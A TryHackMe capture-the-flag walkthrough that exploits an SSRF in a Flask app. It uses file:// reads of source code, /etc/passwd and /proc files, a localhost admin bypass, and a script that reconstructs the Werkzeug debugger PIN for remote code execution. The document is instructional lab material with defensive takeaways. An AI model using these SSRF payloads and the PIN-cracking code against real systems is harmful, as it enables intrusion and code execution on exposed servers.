

TryHackMe — Plant Photographer — Full Walkthrough

Platform TryHackMe

Category Web / Exploitation

Difficulty Medium

Room Plant Photographer

Target IP 10.49.139.127

OS Linux (Docker container)

TL;DR — A custom Flask portfolio site hides a `pycurl`-based downloader that is a classic **SSRF**. We abuse it to (1) read the source code, (2) hit a localhost-only admin page, and (3) pull every ingredient needed to **crack the Werkzeug debugger PIN** and achieve **RCE**, finally reading the root flag.

1. Scenario

Your friend, a passionate botanist and aspiring photographer, recently launched a personal portfolio website to showcase his growing collection of rare plant photos: `http://IP/`. Proud of building the site himself from scratch, he's asked you to take a quick look and let him know if anything could be improved. Look closely at how the site works under the hood, and determine whether it was coded with best practices in mind. If you find anything questionable, dig deeper and try to uncover the flag hidden behind the scenes.

2. Reconnaissance — Nmap

We start with a full port scan and a service/version scan on the live host:

```
nmap -p- -Pn 10.49.139.127 --min-rate 1000 -oN nmap_ports.txt
nmap -Pn 10.49.139.127 -sV -sC -oN nmap_sC.txt
```

Result:

```
PORT      STATE  SERVICE
22/tcp    open   ssh
80/tcp    open   http
8083/tcp   filtered us-srv
```

Only **SSH** and a **web server** are reachable. A quick look at the response headers tells us everything we need:

```
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0 Python/3.10.7
```

This is a **Python/Flask** application (Werkzeug WSGI server). Two things immediately stand out:

- Werkzeug is very old (**0.16.0**).
- Flask apps with **debug=True** expose the **Werkzeug interactive debugger**, which is a known RCE vector if you can recover the debugger PIN.

3. Web Enumeration — ffuf

Let's hunt for hidden paths and extensions:

```
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.49.139.127/FUZZ -mc
200,301,302,403
```

Result:

```
admin
console
download
```

Three interesting endpoints:

Endpoint	What it shows
----------	---------------

/admin	Returns 404 /blocked when hit from outside
--------	---

/console	The Werkzeug debugger interactive console (locked with a PIN)
----------	--

/download	Downloads the "resume" PDF — No file selected...
-----------	---

On the homepage the "Download Resume" button links to:

```
http://10.49.139.127/download?server=secure-file-storage.com:8087&id=75482342
```

The **server** and **id** parameters are fully user-controlled.

4. The SSRF in /download

The `/download` endpoint takes a `server` and `id` value, builds a URL, and fetches it for us. That is the textbook definition of a **Server-Side Request Forgery (SSRF)**:

- the `server` makes a request **on our behalf**,
- and we control **where it connects** (host + port + scheme).

We can point `server` at a `file://` URL and read arbitrary local files, because the backend never validates the protocol:

```
curl "http://10.49.139.127/download?server=file:///usr/src/app/app.py%23&id=75482342" -o app.py
```

Note the `%23` (`#`): the app appends `/public-docs-k057230990384293/<id>.pdf` to whatever we pass, so the `#` comments out the appended path and lets us read the raw file.

We just pulled the **application source code**:

```
import os
import pycurl
from io import BytesIO
from flask import Flask, send_from_directory, render_template, request, redirect, url_for, Response

app = Flask(__name__, static_url_path='/static')

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/admin")
def admin():
    if request.remote_addr == '127.0.0.1':
        return send_from_directory('private-docs', 'flag.pdf')
    return "Admin interface only available from localhost!!!"

@app.route("/download")
def download():
    file_id = request.args.get('id', '')
    server = request.args.get('server', '')

    if file_id != '':
        filename = str(int(file_id)) + '.pdf'

        response_buf = BytesIO()
        curl = pycurl.Curl()
        curl.setopt(curl.URL, server + '/public-docs-k057230990384293/' + filename)
        curl.setopt(curl.WRITEDATA, response_buf)
        curl.setopt(curl.HTTPHEADER, ['X-API-KEY: THM{Hello_Im_just_an_API_key}'])
        curl.perform()
        curl.close()
        file_data = response_buf.getvalue()

        resp = Response(file_data)
        resp.headers['Content-Type'] = 'application/pdf'
        resp.headers['Content-Disposition'] = 'attachment'
```

```

        return resp
    else:
        return 'No file selected... '

@app.route('/public-docs-k057230990384293/<path:path>')
def public_docs(path):
    return send_from_directory('public-docs', path)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8087, debug=True)

```

The source reveals **three** big things:

1. A hardcoded API key header — this is the **first flag**.
2. `/admin` only serves `flag.pdf` when the request comes from **127.0.0.1**.
3. The app runs with `debug=True` on port **8087** — the Werkzeug debugger is active.

5. Flag 1 — API Key in Source

```
X-API-KEY: THM{Hello_Im_just_an_API_key}
```

Flag 1 🚩 — THM{Hello_Im_just_an_API_key}

6. Flag 2 — Localhost-Only Admin via SSRF

The `/admin` page checks `request.remote_addr == '127.0.0.1'`. We can't spoof that from our client, but we *can* make the **server itself** request it — from localhost — using the SSRF:

```
curl "http://10.49.139.127/download?server=http://localhost:8087/admin%23&id=75482342" -o flag.pdf
```

The `%23` truncates the appended `/public-docs-.../75482342.pdf`, so the backend calls `http://localhost:8087/admin#...` — from `127.0.0.1` — and happily returns `flag.pdf`.

The PDF text is encoded with a custom font, but a simple extraction reveals the flag:

```
pdftotext flag.pdf -
```

```
The flag is thm{c4n_i_haz_flagz_plz?}
```

Flag 2 🚩 — thm{c4n_i_haz_flagz_plz?}

7. Revisiting the Debugger — /console

We know the app runs with `debug=True`, and the `/console` page hosts the **Werkzeug interactive console**:

-  It gives us **arbitrary Python execution (RCE)**.
-  It requires a **PIN** to unlock.

Werkzeug generates the PIN from a handful of "system secrets" that are *guessable* if we can read a few files on the machine. And we have a perfect file-read primitive (the SSRF!).

The debugger page also leaks the `SECRET` used to sign debugger commands:

```
var TRACEBACK = -1,
    CONSOLE_MODE = true,
    EVALEX = true,
    EVALEX_TRUSTED = false,
    SECRET = "sk0BE1EV0waC9l8ew1Wm";
```

To be 100% accurate about the algorithm, we read the **actual** Werkzeug source that is running on the target (it ships with a custom salt!):

```
curl "http://10.49.139.127/download?server=file:///usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py%23&id=75482342" -o debug.py
```

Key parts of `get_pin_and_cookie_name()`:

```
probably_public_bits = [
    username,                # OS user running the app
    modname,                  # "flask.app"
    app.__name__,              # "Flask"
    mod.__file__,              # path to flask/app.py
]

private_bits = [
    str(uuid.getnode()),      # MAC address as integer string
    get_machine_id(),          # machine-id / boot-id / docker cgroup
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    ...
h.update(b"cookiesalt")      # cookie name
h.update(b"pinsalt")         # pin
```

We also notice the challenge version has a **custom salt** in `hash_pin()`:

```
def hash_pin(pin):
    return hashlib.md5(pin + b"shittysalt").hexdigest()[:12]
```

8. Gathering the PIN Ingredients via SSRF

8.1 Username — `/etc/passwd`

```
curl "http://10.49.139.127/download?server=file:///etc/passwd%23&id=75482342"
```

The app runs as `root` (Alpine `/bin/ash`).

8.2 Module path — `flask/app.py`

From the Werkzeug traceback earlier:

```
File "/usr/local/lib/python3.10/site-packages/flask/app.py"
```

8.3 MAC address

```
curl "http://10.49.139.127/download?server=file:///sys/class/net/eth0/address%23&id=75482342"
```

```
02:42:ac:14:00:02
```

```
→ int("0242ac140002", 16) = 2485378088962
```

8.4 Machine ID — Docker container

`/etc/machine-id` does not exist in the container, and Werkzeug's `get_machine_id()` reads the first line of the `cgroup` file to grab the Docker container ID:

```
curl "http://10.49.139.127/download?server=file:///proc/self/cgroup%23&id=75482342"
```

```
12:hugetlb:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
...
```

```
→ machine_id = 77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
```

8.5 Summary table

Ingredient	Value
username	root
modname	flask.app
appname	Flask
mod.__file__	/usr/local/lib/python3.10/site-packages/flask/app.py
MAC (<code>uuid.getnode()</code>)	02:42:ac:14:00:02 → 2485378088962
<code>get_machine_id()</code>	77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049c

Ingredient	Value
	a

9. Calculating the PIN

Now we replicate Werkzeug's exact PIN algorithm with the values above:

```
import hashlib
from itertools import chain

probably_public_bits = [
    "root", # username
    "flask.app", # modname
    "Flask", # app name
    "/usr/local/lib/python3.10/site-packages/flask/app.py", # mod.__file__
]
private_bits = [
    str(int("0242ac140002", 16)), # MAC as int string
    "77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca",
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20] # __wzd85a5ff2ddeee0c7a9138

h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]

pin = "-".join(num[i:i+3] for i in range(0, len(num), 3))
print("cookie:", cookie_name)
print("PIN:", pin)
```

Result:

```
cookie: __wzd85a5ff2ddeee0c7a9138
PIN: 110-688-511
```

10. RCE — Unlocking the Console

10.1 Authenticate with the PIN

The debugger exposes a `pinauth` command. On success it hands us a trusted cookie:

```
SECRET="sk0BE1EV0waC9l8ewlWm"
curl "http://10.49.139.127/console?__debugger__=yes&cmd=pinauth&s=$SECRET&pin=110-688-511"
{"auth": true, "exhausted": false}
Set-Cookie: __wzd85a5ff2ddeee0c7a9138=1786610880|aa2032ed69d3
```

10.2 Execute code

The interactive console submits the **code itself** in the `cmd` parameter:

```
C00KIE="__wzd85a5ff2ddeee0c7a9138=1786610880|aa2032ed69d3"
curl -b "$C00KIE" -G "http://10.49.139.127/console" \
  --data-urlencode "__debugger__=yes" \
  --data-urlencode "cmd=__import__('os').listdir('/usr/src/app')" \
  --data-urlencode "frm=0" --data-urlencode "s=$SECRET"

>>> __import__('os').listdir('/usr/src/app')
['requirements.txt', 'Dockerfile', 'templates', 'public-docs',
'private-docs', 'static', 'app.py', 'flag-982374827648721338.txt']
```

There it is — `flag-982374827648721338.txt` sitting right next to the source.

11. Final Flag

```
curl -b "$C00KIE" -G "http://10.49.139.127/console" \
  --data-urlencode "__debugger__=yes" \
  --data-urlencode "cmd=open('/usr/src/app/flag-982374827648721338.txt').read()" \
  --data-urlencode "frm=0" --data-urlencode "s=$SECRET"

>>> open('/usr/src/app/flag-982374827648721338.txt').read()
'THM{SSRF2RCE_2_1337_4_M3}\n'
```

Final Flag 🏆 — `THM{SSRF2RCE_2_1337_4_M3}`

12. Bonus — The Debug Cookie

Once authenticated, the server issued the *trusted* debugger cookie:

```
__wzd85a5ff2ddeee0c7a9138 = <unix_timestamp>|<hash>
```

The value is `timestamp|hash_pin(pin)` where `hash_pin` is the salted md5:

```
hash_pin("110-688-511") # md5(pin + b"shittysalt")[:12]
```

It keeps the debugger session "trusted" for up to **7 days** (`PIN_TIME`) so the browser doesn't have to re-enter the PIN on every command.

13. Flags Summary

Flag

- 1 THM{Hello_Im_just_an_API_key}
 - 2 thm{c4n_i_haz_flagz_plz?}
 - 3 THM{SSRF2RCE_2_1337_4_M3}
-

14. Key Takeaways

1. **SSRF is never just "localhost access"** — the same primitive gave us file read, an admin bypass, *and* all the data needed for the debugger PIN.
2. **file:// + # truncation** is a neat trick when the backend blindly concatenates a path.
3. **Never expose Werkzeug debug mode in production.** `debug=True` is instant RCE the moment the PIN ingredients leak.
4. **The Werkzeug debugger PIN is predictable** — it's a salted hash of username, module path, MAC, and machine-id, so an attacker who can read a handful of `/proc` and `/sys` files can fully reconstruct it.
5. **Read tracebacks carefully** — they leak absolute paths (`/usr/local/lib/python3.10/...`) that make PIN reconstruction trivial.